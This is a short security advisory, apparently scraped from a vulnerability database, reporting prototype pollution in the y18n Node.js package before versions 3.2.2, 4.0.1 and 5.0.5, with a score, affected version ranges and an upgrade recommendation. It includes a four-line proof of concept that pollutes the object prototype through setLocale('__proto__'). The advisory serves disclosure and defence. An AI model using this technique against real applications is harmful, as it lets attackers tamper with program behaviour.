Lucene search

K
nodejsAnonymousNODEJS:1654
HistoryMar 12, 2021 - 11:16 p.m.

Prototype Pollution

2021-03-1223:16:43
Anonymous
www.npmjs.com
23

0.304 Low

EPSS

Percentile

97.0%

Overview

y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to prototype pollution.

POC

const y18n = require('y18n')();
 
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later

References

CPENameOperatorVersion
y18nlt3.2.2||=4.0.0||>=5.0.0 <5.0.5